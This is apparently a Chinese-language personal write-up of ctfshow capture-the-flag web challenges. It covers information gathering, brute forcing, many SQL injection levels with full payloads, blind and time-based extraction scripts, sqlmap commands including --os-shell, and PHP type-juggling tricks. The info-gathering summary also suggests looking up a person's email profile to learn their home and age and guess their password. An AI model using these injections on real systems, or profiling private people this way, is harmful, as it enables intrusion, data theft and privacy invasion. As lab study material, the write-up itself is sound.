ctfshow大部分wp(附带个人整理知识笔记)
WEB信息搜集入门(前10道都是水题,10题后没有水题了)
Web1

源码中即为flag(签到题)
Web2


前端js拦截,查看源代码即可,得到flag
Web3

flag在响应头里面
Web4

在访问robots.txt,得知存在flagishere.txt文件,访问获得flag
Web5
phps源码泄露,访问index.phps,下载文件打开得到flag

Web6
访问www.zip获取配置文件

得知在服务器下存在fl000g.txt,线上访问得到flag

Web7

访问.git(隐藏文件)注意格式为/.git/,得到flag
Web8

隐藏文件的第二种情况,访问.svn,格式为/.svn/,得到flag
Web9

访问下载备份文件index.php.swp,得到flag
Web10

cookie中发现flag,url解码后得到flag

Web11(挺有趣的)

题目就给出了一个网址,说这里有隐藏信息,先是whois查了一下,没有收获,百度了一下说是可以查询该域名的认证者信息(txt),并且找到了一个好网站

查询该网站的信息获得flag
Web12(多一点这种题就好了)

题目页面是一个商场页面,没有其他信息
唯一可用的信息是最底端的一串手机号,题目中的提示提到了管理员密码不安全,访问一下管理界面,发现存在

注意(这里也是要访问/admin/),不能直接访问/admin,用户名admin,密码尝试手机号,正确,获得flag

Web13
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LFMROcDG-1664627924565)(https://gitee.com/baibaiwu/image/raw/master/img/202210012014024.png)]
这次是一个产品介绍页面,无其他信息
将整个网页全部浏览后发现没有任何提示?
(这里实在是有丶傻了,原来在最底端有一个document是可以点的=-=)

打开document

得到默认配置信息,在线上环境尝试成功,登陆获得flag

这个属实是出题者开玩笑了=-=,document上面的及周边所有按钮都是不能点的,我绕着document点了一圈=-=
Web14

这次是一个软件介绍页面,依旧莫得任何信息,但是这次有提示在源码里,和editor有关

得到一个绝对路径,尝试访问

跳转到一个编辑器,这里第二次犯傻,还以为这是用来维护用的,内容也提交不了,我看了看就关了,对着源码找了半天也没找到第二个editor,后来还是百度才知道这个编辑器和经常出现的目录遍历漏洞有关,(好像挺多的政府网站和新闻网站都有这个东西,现在不知道还有没有)

点开插入文件后发现有一个文件空间,打开后出现了全部的文件目录(这里是因为上传用的文件空间不存在,所以显示了全部的目录),一番寻找后找到了flag所在目录

第二个重点来了!这里得到的目录是绝对路径,是编辑器+服务器上文件所在目录的总和,如果我们访问会404,因为服务器上并不存在这个目录,WWW目录是服务器存放php文件的目录,而index文件在html下,所以我们直接访问[/nothinghere/fl000g.txt]这一目录就好,访问后得到flag

Web15(好!)
打开后是一个音乐界面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oT3w5HPH-1664627924568)(https://gitee.com/baibaiwu/image/raw/master/img/202210012014034.png)]
题目提示和邮箱有关,向下翻发现联系邮箱,并且是qq邮箱

进入后台页面


登陆获取flag,但是并不知道密码,找回密码需要密保,邮箱是qq邮箱,尝试搜索一下好友?

果真查到了,并得知了所在地,上密保,得到密码,登陆,获取flag

Web16

题目页面一个很好看的3D页面,(设计的真棒),题目中提示和探针有关,尝试访问默认测试tz.php

进入了默认探针,但是浏览后并未发现有什么可以用到的,尝试访问phpinfo


页面搜索flag,获得flag
Web17

这个题有丶问题

在线子域名查询到了一堆,但是真实ip都不对,查了查资料发现可以通过ping域名的方式获得真实ip

结果得到,但这里注意,ping ctf.com和ping www.ctf.com是不一样的,访问时也是
Web18

打开后是一个小游戏,尝试翻一下源码

唯一有用的是这个js文件,打开看看

找到了分数>100分的判断,Un解码看看

访问110.php得到flag

Web19

直接查看题目源码,发现是一段AES加密,密码,偏移和填充都已经知道了

如下解码(后面的输出格式和字符集都不知道是什么,试了半天。。)

登陆得到flag
Web20

这个路径是真的阴间,先去群里问的,访问后下载数据库文件,用管理器打开
展开后得到flag

Web总结
从某网站获取源代码包以后可以得知服务器中可能存在哪一些文件,从而进行访问(不要直接从源代码包里打开=-=,因为可能开发人员对源代码包进行修改后重新放到了服务器上)
版本控制 .开头的文件 比如.git,.svn都是隐藏文件,由于工作人员的疏忽可能会将其部署到线上环境中
备份文件泄露 .swp是备份文件,广泛存在各种环境中,可以访问index.php.swp获取
访问网站时,比如管理页面,可以尝试/admin/,注意最后这个/有没有/是很重要的
目录遍历 绝对路径 编辑器的路径和服务器上文件的位置合起来就是绝对路径 比如 /editor/attached/file/var/www/html/nothinghere/fl000g.txt 上面这个路径是编辑器的url路径+服务器文件的路径,即为绝对路径,这样访问会出错,实际上在服务器上的文件只有/nothinghere/fl000g.txt这个,这个就是我们真正需要访问的路径
信息收集的过程中注意任何信息都可以作为渗透的依据,比如知道了常用邮箱可以通过这个邮箱查询他的个人资料,如果工作的成年人,一般资料都是自己的真实信息,这就可以得知一下比如住所,年龄等信息,运气好的情况下可以借此获取他的账户密码
探针获取信息 默认测试探针基本都是tz.php,注意,这是测试用探针,实际用的探针还是phpinfo
CDN绕过
如果是网页小游戏的话可以看看源代码,没有收货的话去js代码里面看看,当满足条件的时候回出现什么情况,alter()命令是输出命令,可以输出
爆破
Web21
题目打开后是一个登陆页面,直接抓包

解码一下传参位

格式为admin:x的格式,开始爆破

参数如上图设置,记得下面的有效编码载荷不要选,,bas64转码时=也被处理会出下面参数的设置顺序也不能变,跑包得到flag

Web22

题目让爆破域名,在线域名查询试试

挨个尝试后正常打开的有主站和vip页,但是都没有flag,最后在vip站的标签里找到flag??很绝

Web23

题目源码给了判断条件,可以爆破,这里直接用php脚本跑了


得到两个正确的值,分别尝试,获得flag

Web24

题目是一个随机数匹配题,让r的值和随机数相等即可

php脚本获得随机数值

传参,获得flag


Web25
题目页面

浏览代码可知要构建符合条件的token的值,并传入cookie中
传入r=0,获取第一次随机数的负值

kali php_mt_seed猜种子

在web24中可知版本是7.0+,所以这里用7.0猜测结果试一下
脚本跑一下结果



cookie传值,并传入r=331040342使条件!rand为!0,执行接下来的条件

获得flag
Web26
题目页面

查看源码,发现有一段说明

抓包,但发现所得包为GET方式传参,更改为POST传参,传入数据(开始没看,搞半天没结果,才发现是传参方式错了=-=)

得到flag
Web27
题目页面

下载录取名单,得到学生信息,但是身份证不全

在学籍查询界面发现可以尝试爆破

注意!!这里不要用火狐,bp抓不到火狐的这个页面,抓到的包及其诡异,看不出有什么毛病,但是一点用没有(被这个恶心到了,半小时了=-=),360或者谷歌浏览器抓包

修改参数如下所示

跑包得到正确的身份证号

得到的数据进行un解码,得到学号和密码,登陆得到flag

Web28
题目页面
抓包,准备爆破

将文件路径定位爆破位,并且修改为index.php,参数如下


跑包得到正确路径,获得flag

爆破总结:
一.爆破
爆破时可以通过修改参数达到自己想要的效果 比如
如果抓到的包里账户密码都是经过编码处理过的,我们可以通过

这个选项修改前缀和编码格式

这个也要注意,base64编码格式下=号可能会导致转码失败,记得取消
二.子域名爆破
注意,子域名爆破时flag不一定出现在页面内,也可能会出现在网页标签上(网页名)

三.网页脚本爆破
可以根据网页源码中给出的条件编写脚本 如下

编写为脚本就是这个

获取
并且像上图随机数这种东西,生成的数会随php版本不同而发生改变,纵使种子相同,如果碰到生成的数不符合条件的情况,可以尝试更换版本试一下
mt_srand(0xdce32b69);这一函数是用来固定(也叫播种)种子 确定种子后使用mt_rand()函数生成随机数
另外,再kali使用php_mt_seed脚本跑种子的时候如果git命令出现pull异常,可以将网址中的http改为git即可(安装其他脚本出现此问题也适用)
- 复制图片到…
- 缩放图片
SQL注入
Web171
题目是一个sql查询页面,并且告诉了我们sql语句

可以看到是有单引号闭合的

尝试绕过,成功,获取库名,并查询表名

(这里好像不用查库名也可以)
获取字段名,查询获得flag


Web172

和上题类似,告诉了我们这次只有两个字段,并且ctfshow_user2表里没有flag
1' union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 查询表名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- qwe 查询字段
这里查错了=-=,flag就是在ctfshow_user2表里,但是因为有条件username!=flag,所以要绕过一下
这里就有丶想笑233,在想怎么绕过的时候因为第一次查错了表,所以第一遍是用ctfshow_user表查的,刚好把password和username倒了过来,像这样
1' union select password,username from ctfshow_user2 -- qwe 这样username查询出来的是password的flag内容,不含有flag这一关键字,所以把表改为ctfshow_user2就直接起到了绕过的效果
Web173

又是逻辑判断,这次逻辑判断用到了一个正则表达式,匹配flag,最重要的是后面的json_encode( r e t ) , 这 会 将 ret),这会将 ret),这会将ret里的值变为字符串形式

根据上题可知$ret和username有关,给username加上"",成功,获得flag
Web174

正则表达匹配题,这次有两个匹配项,我们构建这样一个替换语句
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(username,'flag','zu'),'1','qu'),'2','wu'),'3','eu'),'4','ru'),'5','tu'),'6','yu'),'7','uu'),'8','iu'),'9','ou'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','zm'),'1','qm'),'2','wm'),'3','em'),'4','rm'),'5','tm'),'6','ym'),'7','um'),'8','im'),'9','om') from ctfshow_user4 -- qwe 将username和password字段中的flag及0-9的数字全部替换,然后写一个脚本转换回去即可



脚本跑出flag
Web175

该题有一个双字节过滤,所以这个页面上不能输出任何0-127的数字,00-7f对应的十进制是0-127,这里没有任何限制,我们可以直接试试让结果输出到一个文件中,
1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

在文件中获得flag
Web176

测试后是大小写过滤,直接绕过即可
1' union sElect 1,2,password from ctfshow_user -- qwe

获得flag
Web177

同上,这次是过滤空格
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23 绕过获得flag

Web178
1'%09union%09select%091,2,password%09from%09ctfshow_user%23 这几个都是基本过滤题,改一下payload就行,查询获得flag

Web179
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23 奇怪的知识增加了,换页键也可以代替空格(acsii码为0c),获得falg

Web180
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0c--%0cqwe 过滤了%23,换一个注释方法就好了,获得flag

Web181

这次过滤的有丶多
1111'or(id=26)and'a'='a这里id=26是因为前面的题flag都在26上
Web182
1111'or(id=26)and'a'='a,同上,直接过
Web183(不会脚本,躺了)

这次是POST传参,先试一下,存在ctfshow_user这个表,且表中有22个数据,然后用脚本跑盲注
url = 'http://8799d9f5-be5a-4006-8308-2f1c2e054efc.challenge.ctf.show:8080/select-waf.php' flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}" res = "" for i in range(1,46):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break PS:这里少了ctfshow的前缀,出来的前缀是一串随机组合,该为ctfshow即可 ```
## Web184(又是脚本,再躺)
```去网上找的脚本=-= import requests
url = "http://4b10eab7-faeb-4ea7-a3e3-e9e48fe707a2.challenge.ctf.show:8080/select-waf.php"
flag = 'flag{' for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break 话说写wp的时候就不能检查一下吗(恼),这个脚本也有问题,自己改了改才能用 ```
## Web185(不会脚本不配做题是吧)
```麻了,要学脚本了 import requests
url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"
flag = 'flag{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break ```
## Web186

上题脚本加点过滤过了
```import requests
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url = "http://199d97f9-f712-4a85-8756-bebbb845bd45.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
#print(result)
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break ```
## Web187

这里是当username中含有admin时输出flag,但是当存在admin时会返回错误,所以就要依靠password中的 true判断来执行,一段特殊的md5码:fifdyop,结果是'or'6(后面的是不可见字符),这一串在mysql进行布尔判断,只要是数字开头就会被判断为true,用这个获得flag
## Web188

热知识:字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等
利用这个构造payload
```username=1||1&password=0 ```
## Web189

这次有提示,但是emmm
```import requests url = "http://a6745960-3655-4bb3-b10f-d02b7bc7cebb.challenge.ctf.show:8080//api/index.php" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{"
for i in range(200):
for j in all_str:
data = {
"username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag
+ j),
'password':0
}
res = requests.post(url=url, data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag +=j
print(flag)
break
if j=='}':
exit() ```
还是要脚本。。
## Web190
继续脚本(好像懂一点了)
```import requests url = "http://41eaffe3-e439-4b9e-a3a1-d908ad74aa6b.challenge.ctf.show:8080/api/" data = {'username':'',
'password':123456} flag = ''
for i in range(1,46):
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select f1ag from ctfshow_fl0g"
data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
start = mid +1
else:
end = mid
flag = flag + chr(start)
print(flag) ```
## Web191

这里加了一个过滤,过滤了ascii,所以我们用ord代替,跑脚本获得flag
```ord():ord函数返回字符串的第一个字符的ascii值 ```
## Web192

这里吧ascii过滤了,ord也过滤了,只能用正则表达式一个一个匹配
## Web193

这次把substr也过滤了,但是正则表达式没有被过滤,用正则表达式一个一个进行匹配
```import requests url = "http://5334ff60-f03b-419b-8e6b-9115181b8698.challenge.ctf.show:8080/api/" flag = "" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"
for i in range(1,99):
for j in all_str:
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = "select group_concat(f1ag) from ctfshow_flxg"
username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data)
#print(data)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit() ```
## Web194

还是没有过滤正则表达式,继续用上一题脚本打通
## Web195
从这里开始是堆叠注入

这里把空格都过滤了,看的wp,用updata的方式把密码换成我们自己的
```0x61646d696e;update`ctfshow_user`set`pass`=123456 这里用反引号代替空格 ```
然后用0x61646d696e作为用户名,123456作为密码登陆即可
## Web196

这次比上题多了一个用户名长度限制,username长度不能多于16,上一题方法失效
```这里仔细看可以发现过滤的是se1ect,而并不是select,构造payload:username:520;select(1) password:1 ```

如图,select(26),中的26相当于返回的数,而$row[0]代表返回数组中的第一个,也就是26,当密码与select()中的数相同是,登陆成功,但是要注意前面的3,这里不存在用户3所以向后执行,如果改为admin,会因为有这个用户而导致停止执行
## Web197-Web200
一刀切
```username=0;show tables; pass=ctfshow_user ```
## Web201

根据提示,要绕过referer检查,为了防止攻击页面会检查原来所处页面的url,可以用 -- referer ""绕过




跑库,跑表,跑字段,跑数据,完事
## Web202
所用语句
```sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --dbs sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --tables -D ctfshow_web sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" --column -T ctfshow_user -D ctfshow_web sqlmap.py -u http://e94fcf81-5de4-487d-8e45-423c9238ddd2.challenge.ctf.show:8080/api/
--referer="ctf.show" --data="id=1" -- dump "pass" -C pass -T ctfshow_user -D ctfshow_web ```
## Web203
emmm有丶没搞懂
要加–headers=“Content-Type: text/plain”(因为--method put,以put方式提交,表单接收不到)
而且url地址是api/index.php,就离谱
## web204
抓个包,把抓到的cookie加进去就行
```sqlmap.py -u "http://064e6ece-4c6e-4a37-a9f6-c79931989497.challenge.ctf.show:8080/api/index.php"
--data="id=1" --referer="ctf.show" --headers="Content-Type:text/plain" --method=PUT --cookie="PHPSESSID=cg9irmfic3pjq0jn1et934h78c; ctfshow=eeac29cc12ae6107bf5ff4e93ac10e09" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump ```
## Web205

抓包页面显示每次传数据时都会先访问这个网站,用sqlmap的下列参数设置一下即可
–safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数 ```
--data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://5d85bf9e-3612-471e-9c46-81b6967724e9.challenge.ctf.show:8080/api/getToken.php"
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump ```
## Web206(sql需要闭合)
笑死,根本不用自己操作,sqlmap自己会完成。。(上一题注入方式即可)
## Web207

这里过滤了空格,可以用--tamper使用space2comment.py 用/**/代替空格绕过
```sqlmap.py -u "http://a7ce8bd7-4a59-42a0-bf2d-1c3cf032f914.challenge.ctf.show:8080/api/index.php"
--data="id=1" --method=PUT --referer="ctf.show" --headers="Content-Type:text/plain" --safe-url="http://a7ce8bd7-4a59-42a0-bf2d-1c3cf032f914.challenge.ctf.show:8080/api/getToken.php"
--safe-freq=1 --tamper=space2comment --dbs ```
## Web208
sqlmap跑的语句一般是大写,如碰到大小写个过滤可直接跑

这里只过滤了小写的select,上一题语句直接跑
## Web209

这里又把=和*过滤了,重新写一下脚本,把=用like替换就可以了
```retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retVal ```
## Web210

这次编码格式开始套娃,脚本给他套回去就行
## Web211

多了一个空格过滤,添加到脚本内即可
## Web212
这次多过滤了一个*,脚本绕过即可
## Web213

sqlmap--os--shell getshll后获得flag
## Web214
时间盲注,脚本跑
```import requests
url = "http://59c78caf-5b7c-4334-85f3-d72a2dd5f02c.challenge.ctf.show:8080/api/"
result = "" i = 0 while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
payload = "select flaga from ctfshow_flagx"
data = {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
Web215
继续脚本
url = "http://4ba8a766-0fda-4c66-bdbc-0e3f0a9d57dc.chall.ctf.show/api/"
result = "" i = 0 while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
# 查数据
payload = "select flagaa from ctfshow_flagxc"
data = {
'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
Web216
附上脚本
url = "http://f34a44e5-a332-463f-824b-6b424e2deacc.challenge.ctf.show:8080/api/"
result = "" i = 0 while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
# 查数据
payload = "select flagaac from ctfshow_flagxcc"
data = {
'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
Web217
Web218
Web219
脚本
strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxca' limit 1,1" payload = "select flagaabc from ctfshow_flagxca" j = 1 res = "" while 1:
for i in strr:
data = {
'ip': f"1) or if(substr(({payload}),{j},1)='{i}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1'
}
# print(i)
try:
r = requests.post(url, data=data, timeout=3)
except Exception as e:
res += i
print(res)
j+=1
Web220
strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1" payload = "select flagaabcc from ctfshow_flagxcac" j = 1 res = "" while 1:
for i in strr:
res += i
data = {
'ip': f"1) or if(left(({payload}),{j})='{res}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1'
}
# print(i)
try:
r = requests.post(url, data=data, timeout=3)
res = res[:-1]
except Exception as e:
print(res)
j+=1
Web221
*/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)* 这里是limit注入
参考MySQL利用procedure analyse()函数优化表结构_Mysql_脚本之家 (jb51.net)
Web222
url = "http://1b133ab8-d23f-4a35-90a3-2adcef1a7512.challenge.ctf.show:8080/api/"
result = "" i = 0 while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"
# 查数据---不能一次查完越到后面越不准确
payload = "select flagaabc from ctfshow_flaga"
# flag{b747hfb7-P8e8-
params = {
'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"
}
try:
r = requests.get(url, params=params, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
Web223
SQL注入总结
1.多种绕过方式(笑)
下题是web172,这里的逻辑是当username字段的查询内容不含flag时会返回flag的结果,下面是正常查询的结果

要绕过可以一.用编码绕过,将flag替换为其他编码形式或者二.更改字段的输出位置,或者更改输出的字段


这里限制了输出字段只有两个,所以可以选择不输出username,没有逻辑判断,flag自然会返回,或者更改password和username的输出位置,逻辑检测同样失效
2.正则表达式和类型转换

这里用到了两个知识1.preg_match()正则表达式匹配,2.json_encode($ret)转换为字符串,知识点详细解答还是看网页吧(防止忘记)
PHP 正则表达式(PCRE) | 菜鸟教程 (runoob.com)
PHP preg_match() 函数 | 菜鸟教程 (runoob.com)
json数据的解码和编码方法-百度经验 (baidu.com)
多重匹配

这里最简单的就是全部替换。。下面是相关教程
求教SQL server查询如何把一个字段多次替换_博问_博客园 (cnblogs.com)
替换完一定要用脚本跑=-=,不然90%出错
无过滤绕过总结:
无过滤绕过并且有正则表达式的情况下,有多种方式可以尝试,自己的思路是最重要的,wp上是他人的思路,切记不要打乱自己的思维
3.过滤绕过
一般简单的有大小写过滤,空格过滤(下面有详解)
对于空格过滤,/**/并不万能,在屏蔽*或者/的情况下要选择其他方式比如tab代替空格(tab的acsii码为09)(或者换页键,acsii码为09)
一般情况下存在单引号闭合我们选择用-- qwe来注释掉,但是存在空格过滤时,我们不能用-- qwe,只能选择用%23来绕过
4.脚本类
自闭了,盲注/延时在sqlmap不管用的情况下只能自己写脚本跑,学脚本去了=-=
IF 表达式
sql IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3
'password': 1}在这里因为要将username_data这个变量的值传进去,所以没有用"",而是使用了{},其实如果是单纯传字符串的话只要""就行了 ```
#### 时间盲注
```sleep();benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式 sha()转化为sha256码,不可逆 ```
### 5.登陆类
```一段特殊的md5码:fifdyop,结果是'or'6(后面的是不可见字符),这一串在mysql进行布尔判断,只要是数字开头就会被判断为true ```
热知识:字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等
```ord():ord函数返回字符串的第一个字符的ascii值 ```
盲注时,ascii被过滤可以用ord,ord被过滤可以用正则表达式匹配
### 6.堆叠类
```在sql语句中,分号`;`是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入
把空格给过滤了;可以采取反引号的方式执行 $row数组的用法和c相似$row[1],代表数组中的第一个 ```
### 7.工具类
sqlmap使用
–data 用于post请求中指定传参,比如"id=1",或特殊情况的空传参""
–referer 用来检测原页面 比如 --referer “baidu.com”
–user-agent(sqlmap提交请求时默认的UserAgent为:sqlmap/0.9 (http://sqlmap.sourceforge.net,这样很容易暴露,所以要自定agent)
–method 改变提交方式,常见的是改为post put(put和post类似,但是put可以理解为对某一个确定的资源进行修改…这里没太懂)
–safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数 ```
--tamper 举例如下tamper脚本:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释 ```
# PHP特性
## Web89

用intval函数的特性,传入一个数组
## Web90

intval函数只能识别整数,4476.0绕过
## Web91

i表示匹配的时候不区分大小写,/m表示多行匹配,匹配换行符两端的潜在匹配
这里第一个if有m,第二个没有,所以用%0a换行符绕过
## Web92

8进制或者16进制绕过都可
## Web93
过滤了16进制,8进制绕过即可
## Web94

条件中要用0,且不能是4476,用intval函数的特性,只能匹配整数,构造0+10574绕过
## Web98

